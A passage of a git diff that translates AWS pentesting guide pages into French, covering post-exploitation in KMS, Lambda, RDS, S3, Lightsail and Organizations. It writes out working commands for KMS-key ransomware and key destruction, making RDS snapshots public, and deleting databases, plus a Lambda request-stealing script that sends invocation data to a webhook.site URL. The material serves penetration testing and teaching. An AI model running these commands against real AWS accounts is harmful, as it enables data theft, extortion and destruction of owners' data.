-If an S3 bucket is given as a principal, because S3 buckets do not have an Account ID, if you **deleted your bucket and the attacker created** it in their own account, then they could abuse this.
-
-#### Not supported
-
+#### Non pris en charge
 ```json
 {
-  "Effect": "Allow",
-  "Principal": { "Service": "cloudtrail.amazonaws.com" },
-  "Action": "s3:PutObject",
-  "Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
+"Effect": "Allow",
+"Principal": { "Service": "cloudtrail.amazonaws.com" },
+"Action": "s3:PutObject",
+"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
 }
 ```
+Une méthode courante pour éviter les problèmes de Confused Deputy est l'utilisation d'une condition avec `AWS:SourceArn` pour vérifier l'ARN d'origine. Cependant, **certains services pourraient ne pas le supporter** (comme CloudTrail selon certaines sources).
 
-A common way to avoid Confused Deputy problems is the use of a condition with `AWS:SourceArn` to check the origin ARN. However, **some services might not support that** (like CloudTrail according to some sources).
-
-## References
+## Références
 
 - [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
index 482af5425..96ca2b014 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
@@ -4,134 +4,122 @@
 
 ## KMS
 
-For more information check:
+Pour plus d'informations, consultez :
 
 {{#ref}}
 ../aws-services/aws-kms-enum.md
 {{#endref}}
 
-### Encrypt/Decrypt information
+### Chiffrer/Déchiffrer des informations
 
-`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files:
+`fileb://` et `file://` sont des schémas URI utilisés dans les commandes AWS CLI pour spécifier le chemin vers des fichiers locaux :
 
-- `fileb://:` Reads the file in binary mode, commonly used for non-text files.
-- `file://:` Reads the file in text mode, typically used for plain text files, scripts, or JSON that doesn't have special encoding requirements.
+- `fileb://:` Lit le fichier en mode binaire, couramment utilisé pour les fichiers non textuels.
+- `file://:` Lit le fichier en mode texte, généralement utilisé pour des fichiers texte brut, des scripts ou du JSON qui n'a pas d'exigences d'encodage spéciales.
 
 > [!TIP]
-> Note that if you want to decrypt some data inside a file, the file must contain the binary data, not base64 encoded data. (fileb://)
-
-- Using a **symmetric** key
+> Notez que si vous souhaitez déchiffrer des données à l'intérieur d'un fichier, le fichier doit contenir les données binaires, et non des données encodées en base64. (fileb://)
 
+- Utilisation d'une clé **symétrique**
 ```bash
 # Encrypt data
 aws kms encrypt \
-    --key-id f0d3d719-b054-49ec-b515-4095b4777049 \
-    --plaintext fileb:///tmp/hello.txt \
-    --output text \
-    --query CiphertextBlob | base64 \
-    --decode > ExampleEncryptedFile
+--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
+--plaintext fileb:///tmp/hello.txt \
+--output text \
+--query CiphertextBlob | base64 \
+--decode > ExampleEncryptedFile
 
 # Decrypt data
 aws kms decrypt \
-    --ciphertext-blob fileb://ExampleEncryptedFile \
-    --key-id f0d3d719-b054-49ec-b515-4095b4777049 \
-    --output text \
-    --query Plaintext | base64 \
-    --decode
+--ciphertext-blob fileb://ExampleEncryptedFile \
+--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
+--output text \
+--query Plaintext | base64 \
+--decode
 ```
-
-- Using a **asymmetric** key:
-
+- Utiliser une **clé** **asymétrique** :
 ```bash
 # Encrypt data
 aws kms encrypt \
-    --key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
-    --encryption-algorithm RSAES_OAEP_SHA_256 \
-    --plaintext fileb:///tmp/hello.txt \
-    --output text \
-    --query CiphertextBlob | base64 \
-    --decode > ExampleEncryptedFile
+--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
+--encryption-algorithm RSAES_OAEP_SHA_256 \
+--plaintext fileb:///tmp/hello.txt \
+--output text \
+--query CiphertextBlob | base64 \
+--decode > ExampleEncryptedFile
 
 # Decrypt data
 aws kms decrypt \
-    --ciphertext-blob fileb://ExampleEncryptedFile \
-    --encryption-algorithm RSAES_OAEP_SHA_256 \
-    --key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
-    --output text \
-    --query Plaintext | base64 \
-    --decode
+--ciphertext-blob fileb://ExampleEncryptedFile \
+--encryption-algorithm RSAES_OAEP_SHA_256 \
+--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
+--output text \
+--query Plaintext | base64 \
+--decode
 ```
-
 ### KMS Ransomware
 
-An attacker with privileged access over KMS could modify the KMS policy of keys and **grant his account access over them**, removing the access granted to the legit account.
+Un attaquant ayant un accès privilégié sur KMS pourrait modifier la politique KMS des clés et **accorder à son compte l'accès à celles-ci**, supprimant l'accès accordé au compte légitime.
 
-Then, the legit account users won't be able to access any informatcion of any service that has been encrypted with those keys, creating an easy but effective ransomware over the account.
+Ainsi, les utilisateurs du compte légitime ne pourront accéder à aucune information de service qui a été chiffrée avec ces clés, créant un ransomware facile mais efficace sur le compte.
 
 > [!WARNING]
-> Note that **AWS managed keys aren't affected** by this attack, only **Customer managed keys**.
-
-> Also note the need to use the param **`--bypass-policy-lockout-safety-check`** (the lack of this option in the web console makes this attack only possible from the CLI).
+> Notez que **les clés gérées par AWS ne sont pas affectées** par cette attaque, seulement **les clés gérées par le client**.
 
+> Notez également la nécessité d'utiliser le paramètre **`--bypass-policy-lockout-safety-check`** (l'absence de cette option dans la console web rend cette attaque uniquement possible depuis la CLI).
 ```bash
 # Force policy change
 aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
-    --policy-name default \
-    --policy file:///tmp/policy.yaml \
-    --bypass-policy-lockout-safety-check
+--policy-name default \
+--policy file:///tmp/policy.yaml \
+--bypass-policy-lockout-safety-check
 
 {
-    "Id": "key-consolepolicy-3",
-    "Version": "2012-10-17",
-    "Statement": [
-        {
-            "Sid": "Enable IAM User Permissions",
-            "Effect": "Allow",
-            "Principal": {
-                "AWS": "arn:aws:iam::<your_own_account>:root"
-            },
-            "Action": "kms:*",
-            "Resource": "*"
-        }
-    ]
+"Id": "key-consolepolicy-3",
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "Enable IAM User Permissions",
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::<your_own_account>:root"
+},
+"Action": "kms:*",
+"Resource": "*"
+}
+]
 }
 ```
-
 > [!CAUTION]
-> Note that if you change that policy and only give access to an external account, and then from this external account you try to set a new policy to **give the access back to original account, you won't be able**.
+> Notez que si vous modifiez cette politique et que vous ne donnez l'accès qu'à un compte externe, puis que depuis ce compte externe vous essayez de définir une nouvelle politique pour **redonner l'accès au compte d'origine, vous ne pourrez pas**.
 
 <figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
 
-### Generic KMS Ransomware
+### Ransomware KMS Générique
 
-#### Global KMS Ransomware
+#### Ransomware KMS Global
 
-There is another way to perform a global KMS Ransomware, which would involve the following steps:
+Il existe une autre façon d'effectuer un ransomware KMS global, qui impliquerait les étapes suivantes :
 
-- Create a new **key with a key material** imported by the attacker
-- **Re-encrypt older data** encrypted with the previous version with the new one.
-- **Delete the KMS key**
-- Now only the attacker, who has the original key material could be able to decrypt the encrypted data
-
-### Destroy keys
+- Créer une nouvelle **clé avec un matériel de clé** importé par l'attaquant
+- **Ré-encrypter les anciennes données** chiffrées avec la version précédente avec la nouvelle.
+- **Supprimer la clé KMS**
+- Maintenant, seul l'attaquant, qui possède le matériel de clé d'origine, pourrait être en mesure de déchiffrer les données chiffrées
 
+### Détruire les clés
 ```bash
 # Destoy they key material previously imported making the key useless
 aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab
 
 # Schedule the destoy of a key (min wait time is 7 days)
 aws kms schedule-key-deletion \
-    --key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
-    --pending-window-in-days 7
+--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
+--pending-window-in-days 7
 ```
-
 > [!CAUTION]
-> Note that AWS now **prevents the previous actions from being performed from a cross account:**
+> Notez qu'AWS **empêche désormais les actions précédentes d'être effectuées à partir d'un compte croisé :**
 
 <figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md
index 5f25c205a..ba0327b3e 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md
@@ -4,30 +4,26 @@
 
 ## Lambda
 
-For more information check:
+Pour plus d'informations, consultez :
 
 {{#ref}}
 ../../aws-services/aws-lambda-enum.md
 {{#endref}}
 
-### Steal Others Lambda URL Requests
+### Voler les Requêtes URL Lambda des Autres
 
-If an attacker somehow manage to get RCE inside a Lambda he will be able to steal other users HTTP requests to the lambda. If the requests contain sensitive information (cookies, credentials...) he will be able to steal them.
+Si un attaquant parvient à obtenir un RCE à l'intérieur d'une Lambda, il pourra voler les requêtes HTTP d'autres utilisateurs vers la lambda. Si les requêtes contiennent des informations sensibles (cookies, identifiants...), il pourra les voler.
 
 {{#ref}}
 aws-warm-lambda-persistence.md
 {{#endref}}
 
-### Steal Others Lambda URL Requests & Extensions Requests
+### Voler les Requêtes URL Lambda des Autres & Requêtes d'Extensions
 
-Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
+En abusant des Lambda Layers, il est également possible d'abuser des extensions et de persister dans la lambda, mais aussi de voler et de modifier des requêtes.
 
 {{#ref}}
 ../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
 {{#endref}}
 
 {{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
index bc93fe53a..302dddb70 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
@@ -1,42 +1,41 @@
-# AWS - Steal Lambda Requests
+# AWS - Voler des requêtes Lambda
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-## Lambda Flow
+## Flux Lambda
 
 <figure><img src="../../../../images/image (341).png" alt=""><figcaption><p><a href="https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png">https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png</a></p></figcaption></figure>
 
-1. **Slicer** is a process outside the container that **send** **invocations** to the **init** process.
-2. The init process listens on port **9001** exposing some interesting endpoints:
-   - **`/2018-06-01/runtime/invocation/next`** – get the next invocation event
-   - **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – return the handler response for the invoke
-   - **`/2018-06-01/runtime/invocation/{invoke-id}/error`** – return an execution error
-3. **bootstrap.py** has a loop getting invocations from the init process and calls the users code to handle them (**`/next`**).
-4. Finally, **bootstrap.py** sends to init the **response**
+1. **Slicer** est un processus en dehors du conteneur qui **envoie** des **invocations** au processus **init**.
+2. Le processus init écoute sur le port **9001** exposant quelques points de terminaison intéressants :
+- **`/2018-06-01/runtime/invocation/next`** – obtenir le prochain événement d'invocation
+- **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – retourner la réponse du gestionnaire pour l'invocation
+- **`/2018-06-01/runtime/invocation/{invoke-id}/error`** – retourner une erreur d'exécution
+3. **bootstrap.py** a une boucle récupérant les invocations du processus init et appelle le code de l'utilisateur pour les gérer (**`/next`**).
+4. Enfin, **bootstrap.py** envoie au processus init la **réponse**
 
-Note that bootstrap loads the user code as a module, so any code execution performed by the users code is actually happening in this process.
+Notez que bootstrap charge le code de l'utilisateur en tant que module, donc toute exécution de code effectuée par le code de l'utilisateur se produit en réalité dans ce processus.
 
-## Stealing Lambda Requests
+## Voler des requêtes Lambda
 
-The goal of this attack is to make the users code execute a malicious **`bootstrap.py`** process inside the **`bootstrap.py`** process that handle the vulnerable request. This way, the **malicious bootstrap** process will start **talking with the init process** to handle the requests while the **legit** bootstrap is **trapped** running the malicious one, so it won't ask for requests to the init process.
+L'objectif de cette attaque est de faire exécuter au code de l'utilisateur un processus **`bootstrap.py`** malveillant à l'intérieur du processus **`bootstrap.py`** qui gère la requête vulnérable. De cette manière, le processus **bootstrap malveillant** commencera à **communiquer avec le processus init** pour gérer les requêtes pendant que le bootstrap **légitime** est **piégé** à exécuter le malveillant, donc il ne demandera pas de requêtes au processus init.
 
-This is a simple task to achieve as the code of the user is being executed by the legit **`bootstrap.py`** process. So the attacker could:
+C'est une tâche simple à réaliser car le code de l'utilisateur est exécuté par le processus **`bootstrap.py`** légitime. Ainsi, l'attaquant pourrait :
 
-- **Send a fake result of the current invocation to the init process**, so init thinks the bootstrap process is waiting for more invocations.
-  - A request must be sent to **`/${invoke-id}/response`**
-  - The invoke-id can be obtained from the stack of the legit **`bootstrap.py`** process using the [**inspect**](https://docs.python.org/3/library/inspect.html) python module (as [proposed here](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) or just requesting it again to **`/2018-06-01/runtime/invocation/next`** (as [proposed here](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)).
-- Execute a malicious **`boostrap.py`** which will handle the next invocations
-  - For stealthiness purposes it's possible to send the lambda invocations parameters to an attackers controlled C2 and then handle the requests as usual.
-  - For this attack, it's enough to get the original code of **`bootstrap.py`** from the system or [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py), add the malicious code and run it from the current lambda invocation.
+- **Envoyer un faux résultat de l'invocation actuelle au processus init**, de sorte que init pense que le processus bootstrap attend plus d'invocations.
+- Une requête doit être envoyée à **`/${invoke-id}/response`**
+- L'invoke-id peut être obtenu à partir de la pile du processus **`bootstrap.py`** légitime en utilisant le module python [**inspect**](https://docs.python.org/3/library/inspect.html) (comme [proposé ici](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) ou simplement en le demandant à nouveau à **`/2018-06-01/runtime/invocation/next`** (comme [proposé ici](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)).
+- Exécuter un **`boostrap.py`** malveillant qui gérera les prochaines invocations
+- Pour des raisons de discrétion, il est possible d'envoyer les paramètres d'invocation lambda à un C2 contrôlé par l'attaquant et ensuite de gérer les requêtes comme d'habitude.
+- Pour cette attaque, il suffit d'obtenir le code original de **`bootstrap.py`** du système ou de [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py), d'ajouter le code malveillant et de l'exécuter à partir de l'invocation lambda actuelle.
 
-### Attack Steps
+### Étapes de l'attaque
 
-1. Find a **RCE** vulnerability.
-2. Generate a **malicious** **bootstrap** (e.g. [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py))
-3. **Execute** the malicious bootstrap.
-
-You can easily perform these actions running:
+1. Trouver une vulnérabilité **RCE**.
+2. Générer un **bootstrap** **malveillant** (par exemple [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py))
+3. **Exécuter** le bootstrap malveillant.
 
+Vous pouvez facilement effectuer ces actions en exécutant :
 ```bash
 python3 <<EOF
 import os
@@ -53,15 +52,10 @@ os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402
 exec(new_runtime)
 EOF
 ```
+Pour plus d'infos, consultez [https://github.com/carlospolop/lambda_bootstrap_switcher](https://github.com/carlospolop/lambda_bootstrap_switcher)
 
-For more info check [https://github.com/carlospolop/lambda_bootstrap_switcher](https://github.com/carlospolop/lambda_bootstrap_switcher)
-
-## References
+## Références
 
 - [https://unit42.paloaltonetworks.com/gaining-persistency-vulnerable-lambdas/](https://unit42.paloaltonetworks.com/gaining-persistency-vulnerable-lambdas/)
 
 {{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md
index 830671a5e..b3a013117 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md
@@ -4,31 +4,27 @@
 
 ## Lightsail
 
-For more information, check:
+Pour plus d'informations, consultez :
 
 {{#ref}}
 ../aws-services/aws-lightsail-enum.md
 {{#endref}}
 
-### Restore old DB snapshots
+### Restaurer d'anciens instantanés de DB
 
-If the DB is having snapshots, you might be able to **find sensitive information currently deleted in old snapshots**. **Restore** the snapshot in a **new database** and check it.
+Si la DB a des instantanés, vous pourriez être en mesure de **trouver des informations sensibles actuellement supprimées dans d'anciens instantanés**. **Restaurez** l'instantané dans une **nouvelle base de données** et vérifiez-le.
 
-### Restore Instance Snapshots
+### Restaurer les instantanés d'instance
 
-Instance snapshots might contain **sensitive information** of already deleted instances or sensitive info that is deleted in the current instance. **Create new instances from the snapshots** and check them.\
-Or **export the snapshot to an AMI in EC2** and follow the steps of a typical EC2 instance.
+Les instantanés d'instance peuvent contenir **des informations sensibles** d'instances déjà supprimées ou des informations sensibles qui sont supprimées dans l'instance actuelle. **Créez de nouvelles instances à partir des instantanés** et vérifiez-les.\
+Ou **exportez l'instantané vers un AMI dans EC2** et suivez les étapes d'une instance EC2 typique.
 
-### Access Sensitive Information
+### Accéder à des informations sensibles
 
-Check out the Lightsail privesc options to learn different ways to access potential sensitive information:
+Consultez les options de privesc Lightsail pour apprendre différentes façons d'accéder à des informations sensibles potentielles :
 
 {{#ref}}
 ../aws-privilege-escalation/aws-lightsail-privesc.md
 {{#endref}}
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md
index 99f3b8413..5bf5a4b9c 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md
@@ -1,23 +1,17 @@
-# AWS - Organizations Post Exploitation
+# AWS - Organisations Post Exploitation
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Organizations
+## Organisations
 
-For more info about AWS Organizations check:
+Pour plus d'informations sur AWS Organizations, consultez :
 
 {{#ref}}
 ../aws-services/aws-organizations-enum.md
 {{#endref}}
 
-### Leave the Org
-
+### Quitter l'Org
 ```bash
 aws organizations deregister-account --account-id <account_id> --region <region>
 ```
-
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
index c1ccb01a4..2c0b7fcaf 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
@@ -4,7 +4,7 @@
 
 ## RDS
 
-For more information check:
+Pour plus d'informations, consultez :
 
 {{#ref}}
 ../aws-services/aws-relational-database-rds-enum.md
@@ -12,40 +12,37 @@ For more information check:
 
 ### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
 
-If the attacker has enough permissions, he could make a **DB publicly accessible** by creating a snapshot of the DB, and then a publicly accessible DB from the snapshot.
-
+Si l'attaquant a suffisamment de permissions, il pourrait rendre une **DB accessible au public** en créant un instantané de la DB, puis une DB accessible au public à partir de l'instantané.
 ```bash
 aws rds describe-db-instances # Get DB identifier
 
 aws rds create-db-snapshot \
-    --db-instance-identifier <db-id> \
-    --db-snapshot-identifier cloudgoat
+--db-instance-identifier <db-id> \
+--db-snapshot-identifier cloudgoat
 
 # Get subnet groups & security groups
 aws rds describe-db-subnet-groups
 aws ec2 describe-security-groups
 
 aws rds restore-db-instance-from-db-snapshot \
-    --db-instance-identifier "new-db-not-malicious" \
-    --db-snapshot-identifier <scapshotId> \
-    --db-subnet-group-name <db subnet group> \
-    --publicly-accessible \
-    --vpc-security-group-ids <ec2-security group>
+--db-instance-identifier "new-db-not-malicious" \
+--db-snapshot-identifier <scapshotId> \
+--db-subnet-group-name <db subnet group> \
+--publicly-accessible \
+--vpc-security-group-ids <ec2-security group>
 
 aws rds modify-db-instance \
-    --db-instance-identifier "new-db-not-malicious" \
-    --master-user-password 'Llaody2f6.123' \
-    --apply-immediately
+--db-instance-identifier "new-db-not-malicious" \
+--master-user-password 'Llaody2f6.123' \
+--apply-immediately
 
 # Connect to the new DB after a few mins
 ```
-
 ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
 
-An attacker with these permissions could **create an snapshot of a DB** and make it **publicly** **available**. Then, he could just create in his own account a DB from that snapshot.
-
-If the attacker **doesn't have the `rds:CreateDBSnapshot`**, he still could make **other** created snapshots **public**.
+Un attaquant avec ces permissions pourrait **créer un instantané d'une DB** et le rendre **publiquement** **disponible**. Ensuite, il pourrait simplement créer dans son propre compte une DB à partir de cet instantané.
 
+Si l'attaquant **n'a pas le `rds:CreateDBSnapshot`**, il pourrait tout de même rendre **autres** instantanés créés **publics**.
 ```bash
 # create snapshot
 aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
@@ -54,43 +51,32 @@ aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --d
 aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
 ## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}
 ```
-
 ### `rds:DownloadDBLogFilePortion`
 
-An attacker with the `rds:DownloadDBLogFilePortion` permission can **download portions of an RDS instance's log files**. If sensitive data or access credentials are accidentally logged, the attacker could potentially use this information to escalate their privileges or perform unauthorized actions.
-
+Un attaquant avec la permission `rds:DownloadDBLogFilePortion` peut **télécharger des portions des fichiers journaux d'une instance RDS**. Si des données sensibles ou des informations d'identification d'accès sont accidentellement enregistrées, l'attaquant pourrait potentiellement utiliser ces informations pour élever ses privilèges ou effectuer des actions non autorisées.
 ```bash
 aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
 ```
-
-**Potential Impact**: Access to sensitive information or unauthorized actions using leaked credentials.
+**Impact potentiel** : Accès à des informations sensibles ou actions non autorisées utilisant des identifiants compromis.
 
 ### `rds:DeleteDBInstance`
 
-An attacker with these permissions can **DoS existing RDS instances**.
-
+Un attaquant avec ces permissions peut **DoS les instances RDS existantes**.
 ```bash
 # Delete
 aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
 ```
-
-**Potential impact**: Deletion of existing RDS instances, and potential loss of data.
+**Impact potentiel** : Suppression des instances RDS existantes et perte potentielle de données.
 
 ### `rds:StartExportTask`
 
 > [!NOTE]
-> TODO: Test
-
-An attacker with this permission can **export an RDS instance snapshot to an S3 bucket**. If the attacker has control over the destination S3 bucket, they can potentially access sensitive data within the exported snapshot.
+> À faire : Tester
 
+Un attaquant ayant cette autorisation peut **exporter un instantané d'instance RDS vers un bucket S3**. Si l'attaquant a le contrôle sur le bucket S3 de destination, il peut potentiellement accéder à des données sensibles dans l'instantané exporté.
 ```bash
 aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
 ```
-
-**Potential impact**: Access to sensitive data in the exported snapshot.
+**Impact potentiel** : Accès à des données sensibles dans l'instantané exporté.
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
index 16cc52f27..0019957d0 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
@@ -4,39 +4,35 @@
 
 ## S3
 
-For more information check:
+Pour plus d'informations, consultez :
 
 {{#ref}}
 ../aws-services/aws-s3-athena-and-glacier-enum.md
 {{#endref}}
 
-### Sensitive Information
+### Informations Sensibles
 
-Sometimes you will be able to find sensitive information in readable in the buckets. For example, terraform state secrets.
+Parfois, vous pourrez trouver des informations sensibles lisibles dans les buckets. Par exemple, des secrets d'état terraform.
 
-### Pivoting
+### Pivotement
 
-Different platforms could be using S3 to store sensitive assets.\
-For example, **airflow** could be storing **DAGs** **code** in there, or **web pages** could be directly served from S3. An attacker with write permissions could **modify the code** from the bucket to **pivot** to other platforms, or **takeover accounts** modifying JS files.
+Différentes plateformes pourraient utiliser S3 pour stocker des actifs sensibles.\
+Par exemple, **airflow** pourrait y stocker le **code** des **DAGs**, ou des **pages web** pourraient être directement servies depuis S3. Un attaquant avec des permissions d'écriture pourrait **modifier le code** du bucket pour **pivoter** vers d'autres plateformes, ou **prendre le contrôle des comptes** en modifiant des fichiers JS.
 
-### S3 Ransomware
+### Ransomware S3
 
-In this scenario, the **attacker creates a KMS (Key Management Service) key in their own AWS account** or another compromised account. They then make this **key accessible to anyone in the world**, allowing any AWS user, role, or account to encrypt objects using this key. However, the objects cannot be decrypted.
+Dans ce scénario, l'**attaquant crée une clé KMS (Key Management Service) dans son propre compte AWS** ou un autre compte compromis. Il rend ensuite cette **clé accessible à quiconque dans le monde**, permettant à tout utilisateur, rôle ou compte AWS d'encrypter des objets en utilisant cette clé. Cependant, les objets ne peuvent pas être décryptés.
 
-The attacker identifies a target **S3 bucket and gains write-level access** to it using various methods. This could be due to poor bucket configuration that exposes it publicly or the attacker gaining access to the AWS environment itself. The attacker typically targets buckets that contain sensitive information such as personally identifiable information (PII), protected health information (PHI), logs, backups, and more.
+L'attaquant identifie un **bucket S3 cible et obtient un accès en écriture** à celui-ci en utilisant diverses méthodes. Cela pourrait être dû à une mauvaise configuration du bucket qui l'expose publiquement ou à l'accès de l'attaquant à l'environnement AWS lui-même. L'attaquant cible généralement des buckets contenant des informations sensibles telles que des informations personnellement identifiables (PII), des informations de santé protégées (PHI), des journaux, des sauvegardes, et plus encore.
 
-To determine if the bucket can be targeted for ransomware, the attacker checks its configuration. This includes verifying if **S3 Object Versioning** is enabled and if **multi-factor authentication delete (MFA delete) is enabled**. If Object Versioning is not enabled, the attacker can proceed. If Object Versioning is enabled but MFA delete is disabled, the attacker can **disable Object Versioning**. If both Object Versioning and MFA delete are enabled, it becomes more difficult for the attacker to ransomware that specific bucket.
+Pour déterminer si le bucket peut être ciblé pour un ransomware, l'attaquant vérifie sa configuration. Cela inclut la vérification si **S3 Object Versioning** est activé et si **la suppression par authentification multi-facteurs (MFA delete) est activée**. Si la version d'objet n'est pas activée, l'attaquant peut procéder. Si la version d'objet est activée mais que la suppression MFA est désactivée, l'attaquant peut **désactiver la version d'objet**. Si à la fois la version d'objet et la suppression MFA sont activées, il devient plus difficile pour l'attaquant de ransomware ce bucket spécifique.
 
-Using the AWS API, the attacker **replaces each object in the bucket with an encrypted copy using their KMS key**. This effectively encrypts the data in the bucket, making it inaccessible without the key.
+En utilisant l'API AWS, l'attaquant **remplace chaque objet dans le bucket par une copie chiffrée en utilisant sa clé KMS**. Cela chiffre effectivement les données dans le bucket, les rendant inaccessibles sans la clé.
 
-To add further pressure, the attacker schedules the deletion of the KMS key used in the attack. This gives the target a 7-day window to recover their data before the key is deleted and the data becomes permanently lost.
+Pour ajouter une pression supplémentaire, l'attaquant planifie la suppression de la clé KMS utilisée dans l'attaque. Cela donne à la cible une fenêtre de 7 jours pour récupérer ses données avant que la clé ne soit supprimée et que les données ne deviennent définitivement perdues.
 
-Finally, the attacker could upload a final file, usually named "ransom-note.txt," which contains instructions for the target on how to retrieve their files. This file is uploaded without encryption, likely to catch the target's attention and make them aware of the ransomware attack.
+Enfin, l'attaquant pourrait télécharger un fichier final, généralement nommé "ransom-note.txt", qui contient des instructions pour la cible sur la façon de récupérer ses fichiers. Ce fichier est téléchargé sans chiffrement, probablement pour attirer l'attention de la cible et lui faire prendre conscience de l'attaque ransomware.
 
-**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
